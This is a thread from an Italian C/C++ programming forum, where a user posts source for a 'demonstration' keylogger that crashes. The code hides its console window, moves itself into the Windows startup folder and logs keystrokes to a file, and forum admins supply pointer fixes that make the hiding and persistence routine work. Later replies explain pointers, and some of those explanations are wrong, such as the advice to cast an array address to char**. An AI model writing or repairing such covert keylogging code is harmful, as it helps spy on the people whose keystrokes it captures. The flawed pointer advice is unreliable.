Questo sito utilizza cookies, anche di terze parti, per mostrare pubblicità e servizi in linea con il tuo account. Leggi l'informativa sui cookies.
Username: Password: oppure
C/C++ - KeyLogger, Compilazione OK, Ma eseguibile Crasha
Forum - C/C++ - KeyLogger, Compilazione OK, Ma eseguibile Crasha

Pagine: [ 1 2 ] Precedente | Prossimo
Avatar
()
Newbie


Messaggi:
Iscritto:

Segnala al moderatore
Postato alle 1:00
Giovedì, 01/01/1970
Ragazzi come da titolo, la compilazione non mi da nessun errore, ma quando lo eseguo crasha con quella fastidiosa finestra che ti dice invia errore, non inviare ecc.
Questo è il codice di una ultra beta super beta, a quanto pare l'errore pero' sta nella funzione void:
Codice sorgente - presumibilmente C++

  1. /* Dimostration KeyLogger v.Beta
  2. Author: __GiReX__
  3. Language: C++
  4. It's a dimostration for my friend IAN
  5. */
  6. #include <iostream>
  7. #include <windows.h>
  8. #include <cstring>
  9. #include <fstream>
  10. using namespace std;
  11.  
  12. void nasc_sposta();
  13.  
  14. int main()
  15. {
  16.     nasc_sposta();
  17.     ofstream log;
  18.       while(1)
  19.         {
  20.           for(int i = 48; i<= 255; i++){
  21.             if(GetAsyncKeyState(i)== -32767)
  22.             {
  23.               log.open("log.txt", ios::app);
  24.               log << (char)i;
  25.               log.close();
  26.             }
  27.  
  28.         }
  29.  
  30.     }
  31.     return 0;
  32. }
  33.  
  34. void nasc_sposta()
  35. {
  36.    char disco[255], utente[255], *user_path;
  37.   DWORD *a;
  38.    GetSystemDirectory(disco, 255);
  39.    GetUserName(utente, a);
  40.     strncpy(user_path, disco, 2);
  41.      strcat(user_path, "\\Documents and Settings\\");
  42.      strcat(user_path, utente);
  43.      strcat(user_path, "\\Menu Avvio\\Programmi\\Esecuzione automatica\\key.exe");
  44.    HWND invisibile;
  45.      invisibile = FindWindow("ConsoleWindowClass", NULL);
  46.      ShowWindow(invisibile, SW_HIDE);
  47.      MoveFile("key.exe", user_path);
  48. }


PM Quote
Avatar
pierotofy (Admin)
Guru^2


Messaggi: 6108
Iscritto: 04/12/2003

Segnala al moderatore
Postato alle 5:01
Venerdì, 08/06/2007
Testo quotato

Postato originariamente da __GiReX__:

void nasc_sposta()
{
   char disco[255], utente[255], *user_path;
  DWORD *a;
   GetSystemDirectory(disco, 255);
   GetUserName(utente, a);
    strncpy(user_path, disco, 2);
     strcat(user_path, "\\Documents and Settings\\");
     strcat(user_path, utente);
     strcat(user_path, "\\Menu Avvio\\Programmi\\Esecuzione automatica\\key.exe");
   HWND invisibile;
     invisibile = FindWindow("ConsoleWindowClass", NULL);
     ShowWindow(invisibile, SW_HIDE);
     MoveFile("key.exe", user_path);
}



Attenzione attenzione, quando usi i puntatori devi sempre ricordarti di allocare la memoria necessaria prima di usarli, altrimenti quando li passi ad una funzione che ne sa il programma su quale spazio di memoria memorizzare il risultato?

Prova con:

Codice sorgente - presumibilmente C/C++

  1. char disco[255], utente[255], [b]*user_path[/b];
  2.   [b]DWORD *a;[/b]
  3.  
  4. [b]user_path = new char[255];[/b]
  5. [b]a = new DWORD[0];[/b]



Anche se non vedo il motivo per il quale hai dichiarato un puntatore ad una DWORD, una sintassi semanticamente più corretta potrebbe essere:

Codice sorgente - presumibilmente C/C++

  1. char disco[255], utente[255], [b]user_path[255][/b];
  2.   [b]DWORD a;[/b]



E ovviamente quando richiami la funzione apposita non dimenticarti la e-commerciale:

Codice sorgente - presumibilmente Plain Text

  1. GetUserName(utente, [b]&[/b]a);


Ultima modifica effettuata da pierotofy il 08/06/2007 alle 5:02


Seguimi su Twitter: http://www.twitter.com/pierotofy

Fai quello che ti piace, e fallo bene.
PM Quote
Avatar
()
Newbie


Messaggi:
Iscritto:

Segnala al moderatore
Postato alle 14:40
Venerdì, 08/06/2007
In effetti hai ragione, facevo un grave errore concettuale di fondo.
Comunque non vedo quale sia il motivo per cui il compilatore non mi avvisi di questo grave errore.

PM Quote
Avatar
netarrow (Admin)
Guru^2


Messaggi: 2502
Iscritto: 12/05/2004

Segnala al moderatore
Postato alle 22:18
Venerdì, 08/06/2007
Testo quotato

Postato originariamente da __GiReX__:
Comunque non vedo quale sia il motivo per cui il compilatore non mi avvisi di questo grave errore.



questo tipo di errore è il "puntatore nullo" (o null pointer in inglese), ed è un errore molto ricorrente.

Il motivo per cui il compilatore non può segnalarlo è che quando allochi i puntatori vengono allocati nello heap e a run-time quindi non può sapere prima se va a buon fine o se manca proprio l'allocazione, ti mostro un codice di esempio:

Codice sorgente - presumibilmente C/C++

  1. ..
  2. int* i;
  3. cin >> dataIns;
  4. if(dataIns > dataoOggi) i = new int[200];
  5. *i = 9;
  6. ...



come vedi il fatto di allocare o non allocare dipende da come si evolve il programma in esecuzione, e in certi casi può avvenire una dereferenziazione di un puntatore nullo, ovvero che non punta ad un oggetto, o meglio, che punta ad un indirizzo alla AC/DC (Alla Ca**o Di Cane :D ) che potrebbe essere protetto e quindi non permettere la scrittura o non esistere o sovrascrivere altri prog o appartenere a altri tipi di dato ecc... causando i famosi segment fault e altri crash.

Immagina una variabile normale che dichiari e il compilatore già alloca (nello stack però), quando non la inizializzi in C/C++ rischi semplicemente di usare dati presi a casaccio nella memoria, ma cmq alla peggio il programma spara risultati fasulli, per quanto riguarda i puntatori invece, quando sono nulli a casaccio non è il valore contenuto dalla variabile, ma il suo indirizzo il che, appunto causa crash veri e propri.

Se vuoi difenderti da questo errori inizializza tutti i puntatori che non allochi subito a NULL e controlla prima di usarli che il valore sia diverso, o in alternativa per fare il debug skilloso usa le assertion.

Ultima modifica effettuata da netarrow il 08/06/2007 alle 22:20



Mai memorizzare quello che puoi comodamente trovare in un libro.
Imparare è un'esperienza; tutto il resto è solo informazione.
L'immaginazione è più importante della conoscenza.
(A. Einstein)


Esistendo poi google...
PM Quote
Avatar
()
Newbie


Messaggi:
Iscritto:

Segnala al moderatore
Postato alle 2:27
Sabato, 30/06/2007
Scusate se ri-apro qst topic ma me lo ero perso..
Quindi (a quanto ho capito) l'allocazione dinamica la devo eseguire:
quando si parla di puntatori in generale? o solo puntatori stringa (char*)?
Ah e un 'altra cosa, li si deve SEMPRE alloccare o questi erano casi particolari?

PM Quote
Avatar
netarrow (Admin)
Guru^2


Messaggi: 2502
Iscritto: 12/05/2004

Segnala al moderatore
Postato alle 12:05
Sabato, 30/06/2007
questa cosa riguarda tutti i puntatori, dai tipi base, alle classi fino a i puntatore a puntatore a puntatore (es. int*** a)

Li si deve sempre allocare, o almeno dargli il valore NULL per poter fare un controllo e vedere se è un puntatore allocato o no.

Ultima modifica effettuata da netarrow il 30/06/2007 alle 12:07



Mai memorizzare quello che puoi comodamente trovare in un libro.
Imparare è un'esperienza; tutto il resto è solo informazione.
L'immaginazione è più importante della conoscenza.
(A. Einstein)


Esistendo poi google...
PM Quote
Avatar
()
Newbie


Messaggi:
Iscritto:

Segnala al moderatore
Postato alle 13:56
Sabato, 30/06/2007
Ma scusa se io assegno un indrizzo ad un puntatore devo comunque allocarlo?

cioè
Codice sorgente - presumibilmente C/C++

  1. int main()
  2. char pranzo[6] = "pasta";
  3. char *cena = &pranzo;



qui dovevo prima alloccarlo?

e qui?

Codice sorgente - presumibilmente C/C++

  1. char *os;
  2. *os = "Linux";



Scusa ma ho ancora dei dubbi e approfitto della vostra competenza...

PM Quote
Avatar
netarrow (Admin)
Guru^2


Messaggi: 2502
Iscritto: 12/05/2004

Segnala al moderatore
Postato alle 15:51
Sabato, 30/06/2007
attento, se tu fai

char* os;
*os = "ciao"

hai un errore, perchè un puntatore a carattere punta ad UN carattere, poi il puntatore, con la sua aritmetica, può essere letto avanti e indietro formando, ad esempio, stringhe.
Ma se tu lo dereferenzi con * ottieni la zona di memoria a cui punta, e qundi un semplice char, quindi *os NON è il puntatore, ma la zona di memoria a cui punta, il che vuol dire che tu puoi fare così:

char* os;
*os = 'a'

non mettere una stringa (dovresti in qual caso fare un puntatore a puntatore: char**, o mettere la stringa dentro os, senza dereferenzazione)

Per quanto riguarda

char pranzo[6] = "pasta";
char *cena = &pranzo;

anche qui ti da errore, perchè &pranzo da l'indirizzo di un puntatore, quindi un puntatore a puntatore, cena dovrebbe (come il caso di prima) essere un char**, MA in questo caso c'è una complicazione in più, la stringa precedente è allocata staticamente con l'array(che è un puntatore al suo primo elemento) char pranzo[6], quindi il compilatore C++ da un errore dicendo che non può convertire un char(*)[6] in un char** perchè nel secondo vettore manca proprio la dimensione 6.
O quindi fai così:

char* pranzo = "pasta";
char** cena = &pranzo;

o fai un bel cast che forza la conversione a puntatore a puntatore non allocato:

char pranzo[6] = "pasta";
char** cena = (char**) &pranzo;

e in questo caso non sono esclusi errori visto che uno è allocato a 6 e l'altro no

In questo caso anche se sembra che non venga allocato niente è semplicemente fatto tutto dal compilatore, perchè quando usi le stringhe build-in quindi quelle con "" fa tutto il compilatore perchè conosce la dimensione da allocare, quando usi & per ottenere l'indirizzo ottieni l'indirizzo di UNA variabile, anche se è variabile puntatore; il fatto poi che quel puntatore punti magari al primo elemento di un migliaio di elementi resta una sola variabile e quindi non serve allocargli più spazio di quallo che già ha di suo il tipo di dato.
L'importante è che il puntatore non sia nullo, e quindi punti a qualcosa di concreto e previsto (a zone di memoria vuote con malloc, a stringhe con "", ad altre variabili ottenendo l'addr con & ecc..)

Ultima modifica effettuata da netarrow il 30/06/2007 alle 15:54



Mai memorizzare quello che puoi comodamente trovare in un libro.
Imparare è un'esperienza; tutto il resto è solo informazione.
L'immaginazione è più importante della conoscenza.
(A. Einstein)


Esistendo poi google...
PM Quote
Avatar
()
Newbie


Messaggi:
Iscritto:

Segnala al moderatore
Postato alle 19:21
Sabato, 30/06/2007
Mi sto sempre + convincendo che il mioi libro
"Guida al C++" di Herbert Shildt (Mc Graw-hill)
nella traduzione italiana contenga delle imprecisioni e talvolta degli errori.
Posto qui un listato preso dal libro (scaricabile dal sito produtt)

Codice sorgente - presumibilmente C++

  1. listato 7
  2.  
  3. // Indicizzazione di un puntatore come un array.
  4.  
  5.  
  6.  
  7. #include <iostream>
  8.  
  9. #include <cctype>
  10.  
  11. using namespace std;
  12.  
  13.  
  14.  
  15. int main()
  16.  
  17. {
  18.  
  19.   char str[20] = "ciao marco";
  20.  
  21.   char *p;
  22.  
  23.   int i;
  24.  
  25.  
  26.  
  27.  p = str; // mette l&#146;indirizzo di str in p
  28.  
  29.  
  30.  
  31.   // ora indicizza p come un array
  32.  
  33.   for(i=0; p[i]; i++) p[i] = toupper(p[i]);
  34.  
  35.   cout << p; // visualizza la stringa
  36.  
  37.  
  38.  
  39.   return 0;
  40.  
  41. }



anche qui dunque il puntatore p dovrebbe essere dichiarato come char**

e questo?
è giusto o sbagliato? :-|
Codice sorgente - presumibilmente C++

  1. listato 9
  2.  
  3. #include <iostream>
  4.  
  5. using namespace std;
  6.  
  7.  
  8.  
  9. int main()
  10.  
  11. {
  12.  
  13.   char *s;
  14.  
  15.  
  16.  
  17.   s = "Il ricorso ai puntatori è conveniente.\n";
  18.  
  19.  
  20.  
  21.   cout << s;
  22.  
  23.  
  24.  
  25.   return 0;
  26.  
  27. }


PM Quote
Pagine: [ 1 2 ] Precedente | Prossimo